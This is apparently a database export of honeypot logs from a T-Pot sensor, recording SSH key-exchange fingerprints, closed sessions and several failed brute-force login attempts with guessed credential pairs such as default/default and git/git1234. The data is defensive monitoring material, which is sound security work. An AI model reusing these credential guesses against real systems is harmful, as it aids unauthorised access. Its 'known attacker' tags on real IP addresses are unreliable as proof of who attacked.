"ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ac59f0bea186", "@version": "1", "timestamp": "2021-09-20T11:10:31.929872Z", "@timestamp": "2021-09-20T11:10:31.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25614	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:31.761156+03	2021-09-20 14:15:10.38147+03	{"_id": "ZgbmAnwBvYTbRNuEfhuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "bed65fca6c40", "@version": "1", "duration": 120.00264191627502, "timestamp": "2021-09-20T11:10:31.761156Z", "@timestamp": "2021-09-20T11:10:31.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25615	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:32.097242+03	2021-09-20 14:15:10.382471+03	{"_id": "ZwbmAnwBvYTbRNuEfhuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [git/git1234] failed", "session": "9b92c9673a4f", "@version": "1", "password": "git1234", "username": "git", "timestamp": "2021-09-20T11:10:32.097242Z", "@timestamp": "2021-09-20T11:10:32.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25616	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.168858+03	2021-09-20 14:15:10.38447+03	{"_id": "aAbmAnwBvYTbRNuEfhuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ebf878bf560e", "@version": "1", "duration": 3.05698823928833, "timestamp": "2021-09-20T11:10:32.168858Z", "@timestamp": "2021-09-20T11:10:32.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25617	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.381846+03	2021-09-20 14:15:10.385471+03	{"_id": "aQbmAnwBvYTbRNuEfhuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4569a57205cf", "@version": "1", "timestamp": "2021-09-20T11:10:32.381846Z", "@timestamp": "2021-09-20T11:10:32.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25618	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:10:32.418599+03	2021-09-20 14:15:10.38647+03	{"_id": "agbmAnwBvYTbRNuEfhuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b18a8053f199", "@version": "1", "duration": 2.345238208770752, "timestamp": "2021-09-20T11:10:32.418599Z", "@timestamp": "2021-09-20T11:10:32.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25619	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:32.99635+03	2021-09-20 14:15:10.38747+03	{"_id": "awbmAnwBvYTbRNuEgBvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 201964061771995, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52748, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.996350Z", "@timestamp": "2021-09-20T11:10:32.996Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25741	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:45.34827+03	2021-09-20 14:15:12.155646+03	{"_id": "bQbmAnwBvYTbRNuEsRxq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [michael/michael] failed", "session": "60608c06aa9d", "@version": "1", "password": "michael", "username": "michael", "timestamp": "2021-09-20T11:10:45.348270Z", "@timestamp": "2021-09-20T11:10:45.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25620	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:32.576624+03	2021-09-20 14:15:10.38947+03	{"_id": "dAbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7459, "timestamp": "2021-09-20T11:10:32.576624", "@timestamp": "2021-09-20T11:10:32.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25621	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:35.785572+03	2021-09-20 14:15:10.39047+03	{"_id": "ugbmAnwBvYTbRNuEjRum", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40282, "dest_port": 22, "timestamp": "2021-09-20T11:10:35.785572", "@timestamp": "2021-09-20T11:10:35.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25622	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:35.785919+03	2021-09-20 14:15:10.39247+03	{"_id": "vwbmAnwBvYTbRNuEjhs6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6de13dc2d907", "@version": "1", "timestamp": "2021-09-20T11:10:35.785919Z", "@timestamp": "2021-09-20T11:10:35.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25623	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:35.846941+03	2021-09-20 14:15:10.39347+03	{"_id": "wAbmAnwBvYTbRNuEjhs6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [default/default] failed", "session": "69d30a142afc", "@version": "1", "password": "default", "username": "default", "timestamp": "2021-09-20T11:10:35.846941Z", "@timestamp": "2021-09-20T11:10:35.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25624	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:35.728256+03	2021-09-20 14:15:10.395471+03	{"_id": "yAbmAnwBvYTbRNuEjhs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [training/training] failed", "session": "5165d4feb874", "@version": "1", "password": "training", "username": "training", "timestamp": "2021-09-20T11:10:35.728256Z", "@timestamp": "2021-09-20T11:10:35.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
